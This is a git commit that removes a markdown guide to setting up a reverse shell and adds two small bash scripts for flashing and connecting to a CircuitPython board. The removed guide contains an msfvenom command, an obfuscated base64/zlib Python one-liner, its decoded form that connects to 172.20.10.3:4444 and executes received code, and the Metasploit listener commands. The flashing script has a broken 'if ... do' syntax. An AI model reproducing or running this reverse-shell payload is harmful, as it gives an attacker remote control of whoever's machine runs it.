added documentation, its now on github

This commit is contained in:
2026-05-28 18:43:58 +02:00
parent e24c5bbf79
commit 797d1c6e41
3 changed files with 33 additions and 44 deletions
-44
View File
@@ -1,44 +0,0 @@
# Offensive-Sicherheit
## How to get a reverse shell via MSVenom setup (local)
# 1. Generating the payload
We use MSVenom to generate a payload
```python
msfvenom -p python/meterpreter/reverse_tcp LHOST=<LOCAL-HOST-IP> LPORT=4444 -f raw
```
Which gives us a python oneliner:
```python
python3 -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENb6wqLFUQ8iIjgehORNhk1NE1CktWq+N9tyOIcZngzb9586Nm7kHB0coLEv40e+ThE2HQ8prCXiSc9A3p1AS9YWxwG+wa0qdkWVSl8rb6KfWkWJdCWH/Du/ur2Zff4cH15xzJPSGctyEQpac5a0daiqcUJ4d1qLDPGAMOEKlgk+JSl82wRDYCnpwyZvqwk9tYPcqLk4obwKALID7oKPNXPSPUHbBj6fNcGsAFLFTs3q5w6+q8elzRDsICk+WqhQLrZB4iRlgeIcdPlpILM5D8kkm38ZegPfONevg==')[0])))"
```
This unfolds to the following script:
```python
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('172.20.10.3',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
```
# 3. Setting up the listener
On the C2 do the following to attach to a reverse shell.
```python
msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 172.20.10.3
set LPORT 4444
run
```
Executable
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
files=(
"code.py"
"boot.py"
"src"
)
target="/run/media/magnus/CIRCUITPY/"
# Flash
if [ -d "${target}" ]; do
for file in "${files[@]}"; do
echo $file
# delete old version
rm "${target}${file}" -r
# copy new version over
cp "./${file}" "${target}" -r
done
else
echo "Board not mounted!"
done
Executable
+10
View File
@@ -0,0 +1,10 @@
#!/bin/bash
if ls /dev/ttyACM* &>/dev/null; then
dev=$(ls /dev/ttyACM*)
echo "connecting to ${dev}"
screen "${dev}" 115200
else
echo "ACM device not found :("
fi